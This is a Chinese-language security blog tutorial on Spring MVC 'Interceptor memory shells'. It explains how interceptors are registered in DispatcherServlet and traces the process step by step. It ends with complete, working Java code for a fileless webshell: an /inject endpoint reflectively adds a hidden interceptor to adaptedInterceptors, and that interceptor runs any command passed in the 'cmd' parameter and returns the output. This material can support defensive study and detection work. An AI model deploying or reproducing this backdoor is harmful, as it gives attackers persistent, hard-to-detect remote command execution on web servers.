• [Java安全]—Interceptor内存马


    文章首发于先知社区:浅析Spring类内存马

    环境搭建

    依赖

    <dependency>
        <groupId>org.springframeworkgroupId>
        <artifactId>spring-webmvcartifactId>
        <version>5.3.22version>
    dependency>
    
    <dependency>
        <groupId>javax.servletgroupId>
        <artifactId>servlet-apiartifactId>
        <version>2.5version>
    dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    web.xml

    <servlet>
        <servlet-name>SpringMVCservlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServletservlet-class>
        <init-param>
            <param-name>contextConfigLocationparam-name>
            <param-value>classpath:SpringMVC.xmlparam-value>
        init-param>
        <load-on-startup>1load-on-startup>
    servlet>
    <servlet-mapping>
        <servlet-name>SpringMVCservlet-name>
        <url-pattern>/url-pattern>
    servlet-mapping>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    SpringMVC.xml

    <context:component-scan base-package="com.sentiment"/>
    
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        
        <property name="prefix" value="/">property>
        
        <property name="suffix" value=".jsp">property>
    bean>
    <mvc:annotation-driven />
    <mvc:interceptors>
        <mvc:interceptor>
            <mvc:mapping path="/demo"/>
            <ref bean="InterceptorTest"/>
        mvc:interceptor>
    mvc:interceptors>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    设置需要拦截的请求,这里拦截的是/demo请求,拦截器时自己定义的InterceptorTest

    前置知识

    Interceptor

    Interceptor拦截器相当于一个过滤,就是在发送某个请求前对其进行一定的拦截过滤。拦截器用于拦截控制器方法的执行,需要实现HandlerInterceptor,并且必须在SpingMVC的配置文件中进行配置

    拦截过程

    1、程序先执行preHandle()方法,如果该方法的返回值为true,则程序会继续向下执行处理器中的方法,否则将不再向下执行;

    2、控制器Controller类处理完请求后,会执行postHandle()方法,然后会通过DispatcherServlet向客户端返回响应;

    3、在DispatcherServlet处理完请求后,才会执行afterCompletion()方法。

    Demo

    控制器

    @RestController
    public class HelloController {
        @RequestMapping("/demo")
        public String hello(Model model){
            model.addAttribute("name","Hello,Sentiemnt!");
            return "Hello,Sentiment!";
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    拦截器

    @Component("InterceptorTest")
    public class InterceptorTest implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            System.out.println("preHandle执行了....");
            return true;
        }
    
        @Override
        public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
            System.out.println("postHandle执行了...");
        }
    
        @Override
        public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
            System.out.println("afterCompletion执行了....");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    当发起/demo请求时,则会执行自定义的拦截器,如果preHandle返回值为true则会继续向下执行另外两个
    在这里插入图片描述

    调试后发现在doDispatch#applyPreHandle调用了preHandle,所以如果我们需要注册拦截的话一定是在这之前
    在这里插入图片描述

    注册流程

    首先是调用的是processedRequest = checkMultipart(request);,主要判断request是否为文件上传请求,不是的话则会原样返回

    接着就是mappedHandler = this.getHandler(processedRequest);将getHandler()执行后的结果返回给mappedHandler
    在这里插入图片描述

    跟进getHandler,获取HandlerMapping,并继续调用getHandler()

    protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
        if (this.handlerMappings != null) {
            Iterator var2 = this.handlerMappings.iterator();
    
            while(var2.hasNext()) {
                HandlerMapping mapping = (HandlerMapping)var2.next();
                HandlerExecutionChain handler = mapping.getHandler(request);
                if (handler != null) {
                    return handler;
                }
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    继续跟进,在下边会调用getHandlerExecutionChain(),其中会遍历 this.adaptedInterceptors 对象里所有的 HandlerInterceptor 类实例,通过 chain.addInterceptor 把已有的所有拦截器加入到需要返回的 HandlerExecutionChain exectuion 属性中,完成注册
    在这里插入图片描述

    之后就是通过一级级的retrun 将值返回给**mappedHandler**,并通过上边提到的mappedHandler.applyPreHandle()调用PreHandle()

    注册

    通过上边的分析,下面就需要我们把注入内容添加到adaptedInterceptors中,而获取前需要先获取上下文,adaptedInterceptors属性是AbstractHandlerMapping类的,而该类可以通过controller内存马中提到的RequestMappingHandlerMappingDefaultAnnotationHandlerMapping获取,所以在SpringMVC.xml中加上即可
    在这里插入图片描述

    // 1. 获取上下文环境
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);
    
    // 2. 通过上下文获取RequestMappingHandlerMapping
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    
    AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("");
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    之后通过反射获取adaptedInterceptors属性

    // 3、反射获取adaptedInterceptors属性
    Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
    field.setAccessible(true);
    ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping);
    
    • 1
    • 2
    • 3
    • 4

    最后将我们自定义的内存马,添加到属性中

    //4、生成MappedInterceptor对象
    MappedInterceptor mappedInterceptor = new MappedInterceptor(null,null,new InjectInterceptor());
    
    // 5、添加到adaptedInterceptors中
    adaptedInterceptors.add(mappedInterceptor); 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    内存马构造

    package com.sentiment.controller;
    
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RequestMethod;
    import org.springframework.web.bind.annotation.RestController;
    import org.springframework.web.context.WebApplicationContext;
    import org.springframework.web.context.request.RequestContextHolder;
    import org.springframework.web.servlet.HandlerInterceptor;
    import org.springframework.web.servlet.ModelAndView;
    import org.springframework.web.servlet.handler.AbstractHandlerMapping;
    import org.springframework.web.servlet.handler.MappedInterceptor;
    import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
    
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.BufferedReader;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.lang.reflect.Field;
    import java.util.ArrayList;
    
    @RestController
    public class InterceptorShell{
        @RequestMapping(value = "/inject", method = RequestMethod.GET)
        public String inject() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
            try{
                // 1. 获取上下文环境
                WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    
                // 2. 通过上下文获取RequestMappingHandlerMapping
                RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    
                // 3、反射获取adaptedInterceptors属性
                Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
                field.setAccessible(true);
                ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping);
    
                //4、生成MappedInterceptor对象
                MappedInterceptor mappedInterceptor = new MappedInterceptor(null,null,new InjectInterceptor());
    
                // 5、添加到adaptedInterceptors中
                adaptedInterceptors.add(mappedInterceptor);
    
                return "Inject Success!";
            } catch (Exception e) {
                return "Inject Failed!";
            }
        }
    }
    
    class InjectInterceptor implements HandlerInterceptor {
    
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            InputStreamReader isr = new InputStreamReader(is, "UTF-8");
            BufferedReader br = new BufferedReader(isr);
            String str = "";
            String line = "";
    
            while ((line = br.readLine())!=null){
                str+=line;
            }
            is.close();
            br.close();
            response.getWriter().write(str);
            return false;
        }
        public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        }
    
        public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73

    访问inject后生成内存马,成功执行命令
    在这里插入图片描述

    参考链接

    LandGrey’s Blog

    初探DispatcherServlet#doDispatch - Zh1z3ven - 博客园 (cnblogs.com)

    java内存马分析集合 - 先知社区 (aliyun.com)

    初探Java安全之Spring内存马 - 先知社区 (aliyun.com)

  • 相关阅读:
    为什么通过CRM软件系统能更好的跟进客户
    算法通关村第19关【黄金】| 继续盘点高频动态规划dp问题
    二、进程管理(四)经典同步互斥问题
    Spring Session原理解析
    设计模式~迭代器模式(Iterator)-20
    【人工智能Ⅰ】8-回归 & 降维
    LeetCode LCP 06.拿硬币
    Java锁的逻辑(结合对象头和ObjectMonitor)
    秋招每日一题T30——每个元音包含偶数次的最长子字符串
    CSS 元素的显示与隐藏
  • 原文地址:https://blog.csdn.net/weixin_54902210/article/details/127655807